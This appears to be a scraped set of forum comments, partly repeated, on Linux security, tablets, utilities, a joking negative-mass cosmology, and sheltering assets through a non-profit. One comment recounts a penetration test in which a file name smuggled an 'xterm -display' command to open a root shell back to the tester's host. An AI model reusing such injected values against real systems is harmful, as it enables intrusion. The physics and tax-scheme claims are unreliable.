Funny as it sounds, it was a theory that was put forward by an astrophysicist. I read about it just over a year ago.
I found it interesting namely because he used the gravitational differences and negative mass to account for the lensing effect by taking the fact that time moves differently based on mass.
In the void between galaxies particles and anti-particles are created as they cross the planck barrier as wave forms. In most cases they annihilate each other. However there are slightly more anti-particles created. These anti-particles have a negative mass and repel most normal particles. Thus the space between galaxies is filled with anti-particles that force the galaxies into areas and account for the missing mass, the unexplained reason that the galaxies remain together, and the reason that the galaxies are moving apart at accelerated speeds.:P
Simple solution, Always be honest in your relationship!
My wife and my girlfriend get along great, even take them out shopping together. The only issue I have is when we all go out, I can not get a word in edge wise.
Keep it honest and there is no need for all those tools.
And a competent windows admin still deals with viruses on their servers.
I was unaware that all the android phones, tablets, and devices as well as all the home routers, set top boxes, etc. were only managed by "IT professionals"
Ill disagree, I still believe it is because Windows is far less secure.
Linux == 98% of all super computers (Top 500 List) Linux/Android == 74% of all Mobile devices (Gartner) Linux/Android == 61.9% of all Tablets (Gartner) Linux == 78% of all internet Servers (Security Tech) Linux == 28% of mainframes (Gartner) Linux Desktops == 1.65% (From Gartner as the total number of systems shipped with Linux pre-installed) up to 20% depending on the source.
That is not even getting into all the routers and smart switches, embedded devices, etc.
Open source and Linux make a very large target with lots of high profile targets. I am surprised that there are not more exploits and the simple lack of viruses should be proof enough that linux is far more secure.
I hate to point this out but Utility Services are not Natural monopolies. They are government sponsored monopolies. The right of way where the lines and poles go is strictly regulated and restricted. In many cases it is codified that only one service my use the right of way.
In recent years it has lessened with Electricity where I am in that there is one company that has the line and right of way but they are prohibited from providing electricity to the customer, instead they are required to sell access to other electric companies.
I disagree, I used to have a rack of 12 systems, a robotic tape changer, and a 12 drive scsi array. Electricity ran $600 a month
Now, I have 5 systems that sit on my desk, two cloud servers, one desk top, one VOIP system and a NAS. All the same functionality and my electric has dropped to $290 a month.
Ill admit that my setup is not average but with the advent of new technologies my energy usage has dropped while maintaining the same functionality at the house.
Last year the addition of solar PV and a solar water heater have further reduced my electric demand by 2/3. These upgrades will pay themselves back in about 12 years.
My only issue with PV is that I could never get my money back on them. Considering we get golf ball sized hail once every 3 to 5 year. I have had to replace my roof three times in the 15 years I have lived in my house.
#1) Windows is crap software so no surprise that it is a system/memory/cpu hog. #2) The pads have full HDMI, USB, SD Card connectors. Heck I take one with me out to the ranch to check the game cameras via USB. #3) Why would anyone on the backwater planet want to connect a pad to a monitor, keyboard, and mouse and try to use it like a desktop?
I have a pad for portability and a desktop for power. Just as I use Raspberry Pi systems for single purpose systems such as running a DNS server at the house or XBMC on the TV.
The $35 ones I bought were dual core, 1024mb ram, 2g internal storage, 10 point capacitive touch, with a micro-SD slot that will take up to a 32gig card.
So far they play all the games and run just about anything we care to put on them. Though We use them for browsing and as the remote control for the OpenElec XBMC/Raspberry Pi units.
At that price, there'd be enough people to see if you get a Linux distro on it, and it's close enough to cheap android levels.
What? The last four 7" Android pads I bought were $35 each. $99 is 3x the cost so I am not sure I would call it close to the cheap android levels.
Hell, at $35 I bought one for everyone in the house, plus two floaters to be used in the living room and the kitchen. They are handy to have around. At $99 with windows installed, they can keep them.
You are right, it does reduce the taxable income. You still have to write it off as you have to declare the amount given. Seeing as he is taxed at the lower capitol gains tax that could be a substantial reduction in total tax burden.
He gives $X of his personal income to his non-profit charity. He can now write off the $X from his personal taxes and still keep the money in something he controls.
Aside from that, being the head of the non-profit means that he can receive benefits from the non-profit for his time and service. For example the non-profit can own his house, car, boat, etc and provide for his use free of charge. This protects his assets while still giving him control of them, on top of this it is deducted from the non-profit as an operating expense. Remember, a non-profit can spend 90% of it's income on operating expenses and 10% or less on the charitable actions.
It is now over 10 years ago, so I just don't list it.
However, for the longest time I listed that I was self employed and did consulting. Few ever asked to check and those that did would get a list of companies that I did little jobs for while I was in school.
It does not seem that hard to me, apply the common carrier requirements to ISP's and be done with it.
No lengthy committee meetings, findings, reports, etc.
If the ISP wishes to be a contract carrier and not a common carrier then so be it, but by turning it down they are legally responsible for all the content including the child porn, the pirated software, etc. Accept common carrier and you can not choose but you get legal protection.
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BIG PLUS! Thank you for this post!
Now I fully understand the CIO's decisions
Funny as it sounds, it was a theory that was put forward by an astrophysicist. I read about it just over a year ago.
I found it interesting namely because he used the gravitational differences and negative mass to account for the lensing effect by taking the fact that time moves differently based on mass.
Ok, Ill suggest a better theory.
In the void between galaxies particles and anti-particles are created as they cross the planck barrier as wave forms. In most cases they annihilate each other. However there are slightly more anti-particles created. These anti-particles have a negative mass and repel most normal particles. Thus the space between galaxies is filled with anti-particles that force the galaxies into areas and account for the missing mass, the unexplained reason that the galaxies remain together, and the reason that the galaxies are moving apart at accelerated speeds. :P
Simple solution, Always be honest in your relationship!
My wife and my girlfriend get along great, even take them out shopping together. The only issue I have is when we all go out, I can not get a word in edge wise.
Keep it honest and there is no need for all those tools.
And a competent windows admin still deals with viruses on their servers.
I was unaware that all the android phones, tablets, and devices as well as all the home routers, set top boxes, etc. were only managed by "IT professionals"
Ill disagree, I still believe it is because Windows is far less secure.
Linux == 98% of all super computers (Top 500 List)
Linux/Android == 74% of all Mobile devices (Gartner)
Linux/Android == 61.9% of all Tablets (Gartner)
Linux == 78% of all internet Servers (Security Tech)
Linux == 28% of mainframes (Gartner)
Linux Desktops == 1.65% (From Gartner as the total number of systems shipped with Linux pre-installed) up to 20% depending on the source.
That is not even getting into all the routers and smart switches, embedded devices, etc.
Open source and Linux make a very large target with lots of high profile targets. I am surprised that there are not more exploits and the simple lack of viruses should be proof enough that linux is far more secure.
I hate to point this out but Utility Services are not Natural monopolies. They are government sponsored monopolies. The right of way where the lines and poles go is strictly regulated and restricted. In many cases it is codified that only one service my use the right of way.
In recent years it has lessened with Electricity where I am in that there is one company that has the line and right of way but they are prohibited from providing electricity to the customer, instead they are required to sell access to other electric companies.
I disagree, I used to have a rack of 12 systems, a robotic tape changer, and a 12 drive scsi array. Electricity ran $600 a month
Now, I have 5 systems that sit on my desk, two cloud servers, one desk top, one VOIP system and a NAS. All the same functionality and my electric has dropped to $290 a month.
Ill admit that my setup is not average but with the advent of new technologies my energy usage has dropped while maintaining the same functionality at the house.
Last year the addition of solar PV and a solar water heater have further reduced my electric demand by 2/3. These upgrades will pay themselves back in about 12 years.
My only issue with PV is that I could never get my money back on them. Considering we get golf ball sized hail once every 3 to 5 year. I have had to replace my roof three times in the 15 years I have lived in my house.
Speaking as a Libertarian who has run for office, Ill say he has no idea what a libertarian is!
use your real name like us normal folks
Wow, I have now met the real person called "Anonymous Coward"
Is it me or is it just funny that someone posted anonymously that you should used your real name like "Normal Folks"
Wait, Why is there a story about football on a site that is news for nerds? Move it to the News for Jocks site.... Wait, can they read?
#1) Windows is crap software so no surprise that it is a system/memory/cpu hog.
#2) The pads have full HDMI, USB, SD Card connectors. Heck I take one with me out to the ranch to check the game cameras via USB.
#3) Why would anyone on the backwater planet want to connect a pad to a monitor, keyboard, and mouse and try to use it like a desktop?
I have a pad for portability and a desktop for power. Just as I use Raspberry Pi systems for single purpose systems such as running a DNS server at the house or XBMC on the TV.
The $35 ones I bought were dual core, 1024mb ram, 2g internal storage, 10 point capacitive touch, with a micro-SD slot that will take up to a 32gig card.
So far they play all the games and run just about anything we care to put on them. Though We use them for browsing and as the remote control for the OpenElec XBMC/Raspberry Pi units.
Lol, $35 at Fry's electronics down the street from my house. So no need to go to china for them.
$99.99 is not sub $100, with %8.25 tax, or $5 shipping and handling, or any add on to the cost. :P
It is 1 penny less than $100 so most smart people round up.
I wonder if there are other ways to make the $99.99 into $100 hmmm
At that price, there'd be enough people to see if you get a Linux distro on it, and it's close enough to cheap android levels.
What? The last four 7" Android pads I bought were $35 each. $99 is 3x the cost so I am not sure I would call it close to the cheap android levels.
Hell, at $35 I bought one for everyone in the house, plus two floaters to be used in the living room and the kitchen. They are handy to have around. At $99 with windows installed, they can keep them.
The smart people are already on Linux or soon will be. Thus they don't have to worry about Microsoft Monitoring all the windows systems.
Or viruses, spyware, rebooting frequently, BSOD errors, etc, etc, etc.
You are right, it does reduce the taxable income. You still have to write it off as you have to declare the amount given. Seeing as he is taxed at the lower capitol gains tax that could be a substantial reduction in total tax burden.
That is not exactly right.
He gives $X of his personal income to his non-profit charity. He can now write off the $X from his personal taxes and still keep the money in something he controls.
Aside from that, being the head of the non-profit means that he can receive benefits from the non-profit for his time and service. For example the non-profit can own his house, car, boat, etc and provide for his use free of charge. This protects his assets while still giving him control of them, on top of this it is deducted from the non-profit as an operating expense. Remember, a non-profit can spend 90% of it's income on operating expenses and 10% or less on the charitable actions.
Ill top that one, back in the late 90's I was hired to check out an ISP's security. I was given standard user access to the web front end.
They had a routine to un-tar/zip/etc a file. You could free form the file name so i entered
junk.tgz:xterm -display my.IP.Addr:0.0
To my surprise There was an xterm on my linux box right to their server, with full root access.
It is now over 10 years ago, so I just don't list it.
However, for the longest time I listed that I was self employed and did consulting. Few ever asked to check and those that did would get a list of companies that I did little jobs for while I was in school.
Ill second this statement.
I hide both my DSc and my PhD.
It does not seem that hard to me, apply the common carrier requirements to ISP's and be done with it.
No lengthy committee meetings, findings, reports, etc.
If the ISP wishes to be a contract carrier and not a common carrier then so be it, but by turning it down they are legally responsible for all the content including the child porn, the pirated software, etc. Accept common carrier and you can not choose but you get legal protection.